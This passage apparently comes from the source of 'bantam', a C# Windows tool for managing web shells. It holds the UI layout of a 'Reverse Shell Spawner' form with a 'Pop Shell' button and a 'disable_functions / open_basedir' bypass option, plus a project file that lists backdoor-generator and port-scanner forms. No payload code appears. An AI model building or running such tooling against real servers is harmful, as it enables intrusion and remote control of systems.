this.buttonGetIpv4.Click += new System.EventHandler(this.buttonGetIpv4_Click); 65 | // 66 | // textBoxIP 67 | // 68 | this.textBoxIP.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) 69 | | System.Windows.Forms.AnchorStyles.Right))); 70 | this.textBoxIP.Location = new System.Drawing.Point(84, 18); 71 | this.textBoxIP.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 72 | this.textBoxIP.Name = "textBoxIP"; 73 | this.textBoxIP.Size = new System.Drawing.Size(200, 24); 74 | this.textBoxIP.TabIndex = 2; 75 | // 76 | // textBoxPort 77 | // 78 | this.textBoxPort.Location = new System.Drawing.Point(84, 50); 79 | this.textBoxPort.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 80 | this.textBoxPort.Name = "textBoxPort"; 81 | this.textBoxPort.Size = new System.Drawing.Size(58, 24); 82 | this.textBoxPort.TabIndex = 3; 83 | this.textBoxPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.textBoxPort_KeyPress); 84 | // 85 | // label1 86 | // 87 | this.label1.AutoSize = true; 88 | this.label1.Location = new System.Drawing.Point(12, 54); 89 | this.label1.Name = "label1"; 90 | this.label1.Size = new System.Drawing.Size(35, 16); 91 | this.label1.TabIndex = 4; 92 | this.label1.Text = "Port:"; 93 | // 94 | // labelMethod 95 | // 96 | this.labelMethod.AutoSize = true; 97 | this.labelMethod.Location = new System.Drawing.Point(12, 90); 98 | this.labelMethod.Name = "labelMethod"; 99 | this.labelMethod.Size = new System.Drawing.Size(57, 16); 100 | this.labelMethod.TabIndex = 5; 101 | this.labelMethod.Text = "Method:"; 102 | // 103 | // comboBoxMethod 104 | // 105 | this.comboBoxMethod.FormattingEnabled = true; 106 | this.comboBoxMethod.Location = new System.Drawing.Point(84, 87); 107 | this.comboBoxMethod.Name = "comboBoxMethod"; 108 | this.comboBoxMethod.Size = new System.Drawing.Size(133, 24); 109 | this.comboBoxMethod.TabIndex = 6; 110 | // 111 | // btnPopShell 112 | // 113 | this.btnPopShell.Location = new System.Drawing.Point(296, 199); 114 | this.btnPopShell.Name = "btnPopShell"; 115 | this.btnPopShell.Size = new System.Drawing.Size(109, 40); 116 | this.btnPopShell.TabIndex = 7; 117 | this.btnPopShell.Text = "Pop Shell"; 118 | this.btnPopShell.UseVisualStyleBackColor = true; 119 | this.btnPopShell.Click += new System.EventHandler(this.btnPopShell_Click); 120 | // 121 | // checkBoxDisabledFunctionsBypass 122 | // 123 | this.checkBoxDisabledFunctionsBypass.AutoSize = true; 124 | this.checkBoxDisabledFunctionsBypass.Location = new System.Drawing.Point(15, 144); 125 | this.checkBoxDisabledFunctionsBypass.Name = "checkBoxDisabledFunctionsBypass"; 126 | this.checkBoxDisabledFunctionsBypass.RightToLeft = System.Windows.Forms.RightToLeft.No; 127 | this.checkBoxDisabledFunctionsBypass.Size = new System.Drawing.Size(262, 20); 128 | this.checkBoxDisabledFunctionsBypass.TabIndex = 8; 129 | this.checkBoxDisabledFunctionsBypass.Text = "Bypass disable_functions / open_basedir"; 130 | this.checkBoxDisabledFunctionsBypass.UseVisualStyleBackColor = true; 131 | this.checkBoxDisabledFunctionsBypass.CheckedChanged += new System.EventHandler(this.checkBoxDisabledFunctionsBypass_CheckedChanged); 132 | // 133 | // comboBoxArch 134 | // 135 | this.comboBoxArch.Enabled = false; 136 | this.comboBoxArch.FormattingEnabled = true; 137 | this.comboBoxArch.Items.AddRange(new object[] { 138 | "x64", 139 | "x86"}); 140 | this.comboBoxArch.Location = new System.Drawing.Point(14, 170); 141 | this.comboBoxArch.Name = "comboBoxArch"; 142 | this.comboBoxArch.Size = new System.Drawing.Size(101, 24); 143 | this.comboBoxArch.TabIndex = 9; 144 | // 145 | // label7 146 | // 147 | this.label7.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; 148 | this.label7.Location = new System.Drawing.Point(14, 127); 149 | this.label7.Margin = new System.Windows.Forms.Padding(5, 0, 5, 0); 150 | this.label7.Name = "label7"; 151 | this.label7.Size = new System.Drawing.Size(391, 1); 152 | this.label7.TabIndex = 23; 153 | // 154 | // lblStatus 155 | // 156 | this.lblStatus.AutoSize = true; 157 | this.lblStatus.Font = new System.Drawing.Font("Microsoft Tai Le", 8F); 158 | this.lblStatus.Location = new System.Drawing.Point(12, 223); 159 | this.lblStatus.Name = "lblStatus"; 160 | this.lblStatus.Size = new System.Drawing.Size(0, 14); 161 | this.lblStatus.TabIndex = 24; 162 | // 163 | // checkBoxLogShellCode 164 | // 165 | this.checkBoxLogShellCode.AutoSize = true; 166 | this.checkBoxLogShellCode.Location = new System.Drawing.Point(284, 91); 167 | this.checkBoxLogShellCode.Name = "checkBoxLogShellCode"; 168 | this.checkBoxLogShellCode.Size = new System.Drawing.Size(115, 20); 169 | this.checkBoxLogShellCode.TabIndex = 25; 170 | this.checkBoxLogShellCode.Text = "Log Shell Code"; 171 | this.checkBoxLogShellCode.UseVisualStyleBackColor = true; 172 | // 173 | // ReverseShell 174 | // 175 | this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 16F); 176 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 177 | this.ClientSize = new System.Drawing.Size(415, 248); 178 | this.Controls.Add(this.checkBoxLogShellCode); 179 | this.Controls.Add(this.lblStatus); 180 | this.Controls.Add(this.label7); 181 | this.Controls.Add(this.comboBoxArch); 182 | this.Controls.Add(this.checkBoxDisabledFunctionsBypass); 183 | this.Controls.Add(this.btnPopShell); 184 | this.Controls.Add(this.comboBoxMethod); 185 | this.Controls.Add(this.labelMethod); 186 | this.Controls.Add(this.label1); 187 | this.Controls.Add(this.textBoxPort); 188 | this.Controls.Add(this.textBoxIP); 189 | this.Controls.Add(this.buttonGetIpv4); 190 | this.Controls.Add(this.labelIP); 191 | this.Font = new System.Drawing.Font("Microsoft Tai Le", 9.75F); 192 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; 193 | this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 194 | this.MaximizeBox = false; 195 | this.MinimizeBox = false; 196 | this.Name = "ReverseShell"; 197 | this.Text = "Reverse Shell Spawner"; 198 | this.ResumeLayout(false); 199 | this.PerformLayout(); 200 | 201 | } 202 | 203 | #endregion 204 | 205 | private System.Windows.Forms.Label labelIP; 206 | private System.Windows.Forms.Button buttonGetIpv4; 207 | private System.Windows.Forms.TextBox textBoxIP; 208 | private System.Windows.Forms.TextBox textBoxPort; 209 | private System.Windows.Forms.Label label1; 210 | private System.Windows.Forms.Label labelMethod; 211 | private System.Windows.Forms.ComboBox comboBoxMethod; 212 | private System.Windows.Forms.Button btnPopShell; 213 | private System.Windows.Forms.CheckBox checkBoxDisabledFunctionsBypass; 214 | private System.Windows.Forms.ComboBox comboBoxArch; 215 | private System.Windows.Forms.Label label7; 216 | private System.Windows.Forms.Label lblStatus; 217 | private System.Windows.Forms.CheckBox checkBoxLogShellCode; 218 | } 219 | } -------------------------------------------------------------------------------- /bantam/bantam.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | x86 6 | 8.0.30703 7 | 2.0 8 | {0C15F855-5B53-4F41-BACD-15C09BE7B60B} 9 | WinExe 10 | Properties 11 | bantam 12 | bantam 13 | v4.6.1 14 | 512 15 | 16 | publish\ 17 | true 18 | Disk 19 | false 20 | Foreground 21 | 7 22 | Days 23 | false 24 | false 25 | true 26 | 0 27 | 1.0.0.%2a 28 | false 29 | false 30 | true 31 | 32 | 33 | x86 34 | true 35 | full 36 | false 37 | bin\Debug\ 38 | DEBUG;TRACE 39 | prompt 40 | 4 41 | false 42 | 1998, 4014 43 | 7.3 44 | 45 | 46 | x86 47 | pdbonly 48 | true 49 | bin\Release\ 50 | TRACE 51 | prompt 52 | 4 53 | false 54 | 1998, 4014 55 | 56 | 57 | bantam.Program 58 | 59 | 60 | 61 | Dependencies\SocksSharp.dll 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | Component 85 | 86 | 87 | 88 | 89 | Form 90 | 91 | 92 | BackdoorGenerator.cs 93 | 94 | 95 | 96 | Form 97 | 98 | 99 | BrowserView.cs 100 | 101 | 102 | 103 | Form 104 | 105 | 106 | BantamMain.cs 107 | 108 | 109 | Form 110 | 111 | 112 | DistributedPortScanner.cs 113 | 114 | 115 | Form 116 | 117 | 118 | ModifyShellInfo.cs 119 | 120 | 121 | Form 122 | 123 | 124 | Options.cs 125 | 126 | 127 | Form 128 | 129 | 130 | PortScanner.cs 131 | 132 | 133 | Form 134 | 135 | 136 | ProxyOptions.cs 137 | 138 | 139 | Form 140 | 141 | 142 | ReverseShell.cs 143 | 144 | 145 | Form 146 | 147 | 148 | UploadFile.cs 149 | 150 | 151 | 152 | 153 | BackdoorGenerator.cs 154 | 155 | 156 | BrowserView.cs 157 | 158 | 159 | DistributedPortScanner.cs 160 | 161 | 162 | ModifyShellInfo.cs 163 | 164 | 165 | Options.cs 166 | 167 | 168 | PortScanner.cs 169 | 170 | 171 | ProxyOptions.cs 172 | 173 | 174 | ReverseShell.cs 175 | 176 | 177 | UploadFile.cs 178 | Designer 179 | 180 | 181 | ResXFileCodeGenerator 182 | Resources.Designer.cs 183 | Designer 184 | 185 | 186 | True 187 | Resources.resx 188 | True 189 | 190 | 191 | BantamMain.cs 192 | Designer 193 | 194 | 195 | 196 | SettingsSingleFileGenerator 197 | Settings.Designer.cs 198 | 199 | 200 | True 201 | Settings.settings 202 | True 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | False 242 | .NET Framework 3.5 SP1 243 | false 244 | 245 | 246 | 247 | 248 | copy "$(ProjectDir)settings\*" "$(ProjectDir)$(OutDir)" 249 | mkdir "$(ProjectDir)$(OutDir)\plugins" 250 | copy "$(ProjectDir)plugins\" "$(ProjectDir)$(OutDir)\plugins\*" 251 | 252 | 259 | --------------------------------------------------------------------------------